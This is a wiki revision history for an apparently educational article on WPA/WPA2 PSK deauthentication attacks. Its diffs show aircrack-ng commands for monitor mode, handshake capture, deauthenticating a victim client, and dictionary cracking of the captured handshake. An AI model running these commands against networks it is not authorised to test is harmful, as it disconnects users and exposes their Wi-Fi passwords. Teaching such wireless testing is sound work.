WPA/WPA2 PSK deauthentication attack - Revision history

RSchuller: /* Aircrack-ng */

2024-12-18T18:21:44Z

Aircrack-ng

← Older revision		Revision as of 18:21, 18 December 2024
Line 448:		Line 448:
	=== Aircrack-ng ===		=== Aircrack-ng ===
	<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>		<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

			Explanation: -0 starts the deauthentication mode with a count of 1, that means it will be 1 deauthentication Packet sent. The Operator -a $BSSID is the MAC Address of our router -c shows the Victim mac we want to deauthenticate.

	=== Scapy ===		=== Scapy ===

2024-12-18T18:09:41Z

Used Hardware

← Older revision		Revision as of 18:09, 18 December 2024
Line 480:		Line 480:
	* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)		* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
	* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)		* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
	* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux, Intel Wireless (Alder Lake-S PCH CNVi WiFi)		* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux on Kernel: 6.12.1, Intel Wireless (Alder Lake-S PCH CNVi WiFi)
	* DSTIKE Deauther Watch V1		* DSTIKE Deauther Watch V1

2024-12-18T18:08:44Z

Used Hardware

← Older revision		Revision as of 18:08, 18 December 2024
Line 480:		Line 480:
	* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)		* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
	* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)		* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
			* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux, Intel Wireless (Alder Lake-S PCH CNVi WiFi)
	* DSTIKE Deauther Watch V1		* DSTIKE Deauther Watch V1
	* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux, Intel Wireless (Alder Lake-S PCH CNVi WiFi)

	= Courses =		= Courses =

2024-12-18T18:06:37Z

Capture handshake

← Older revision		Revision as of 18:06, 18 December 2024
Line 173:		Line 173:
	sudo airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon		sudo airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

			Explaination: -c selects the Channel on which the router is sending, --bssid is the MAC Address of the Router -w shows the Mode "PSK" and wlan0mon is the capturing device.
			With this command, airodump-ng records the traffic and saves it into different *.cap files.


	<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack\|deauthentication attack]]!</div>		<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack\|deauthentication attack]]!</div>

2024-12-18T17:59:54Z

Used Hardware

← Older revision		Revision as of 17:59, 18 December 2024
Line 477:		Line 477:
	* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)		* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
	* DSTIKE Deauther Watch V1		* DSTIKE Deauther Watch V1
			* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux, Intel Wireless (Alder Lake-S PCH CNVi WiFi)

	= Courses =		= Courses =

2024-12-18T17:52:04Z

Reset network configuration

← Older revision		Revision as of 17:52, 18 December 2024
Line 186:		Line 186:
	* Stop monitor mode		* Stop monitor mode

	airmon-ng stop wlan0mon		sudo airmon-ng stop wlan0mon

	* Restart network manager for internet access		* Restart network manager for internet access

	service network-manager restart		sudo service network-manager restart

			Alternatively on systemd:

			sudo systemctl restart network-manager

	== Without aircrack-ng (on macOS) ==		== Without aircrack-ng (on macOS) ==

2024-12-18T17:49:28Z

Crack with aircrack-ng

← Older revision		Revision as of 17:49, 18 December 2024
Line 179:		Line 179:
	* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password		* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

	aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap		sudo aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

	=== Reset network configuration ===		=== Reset network configuration ===

2024-12-18T17:49:01Z

Capture handshake

← Older revision		Revision as of 17:49, 18 December 2024
Line 171:		Line 171:
	* Get handshake or connected station		* Get handshake or connected station

	airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon		sudo airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

	<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack\|deauthentication attack]]!</div>		<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack\|deauthentication attack]]!</div>

2024-12-18T17:42:54Z

Capture Beacon

← Older revision		Revision as of 17:42, 18 December 2024
Line 160:		Line 160:
	* using wireshark or airodump-ng		* using wireshark or airodump-ng

	airodump-ng wlan0mon		sudo airodump-ng wlan0mon

	* You will need:		* You will need:

2024-12-18T17:41:58Z

Put your interface in monitor mode

← Older revision		Revision as of 17:41, 18 December 2024
Line 139:		Line 139:
	phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)		phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

	* Kill all processes which use physical device. Info: If you~~'re connected~~ via Ethernet and you are using NetworkManager your Ethernet connection still works.		* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.

	sudo airmon-ng check kill		sudo airmon-ng check kill
Line 149:		Line 149:

	sudo airmon-ng start wlan0mon 9		sudo airmon-ng start wlan0mon 9

			Alternatively create a monitoring device by using:

			sudo airmon-ng start wlan0

			If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called "wlan0mon" or on a different setup <YOUR DEVICE NAME>mon. This is the actual monitoring device.

	=== Capture Beacon ===		=== Capture Beacon ===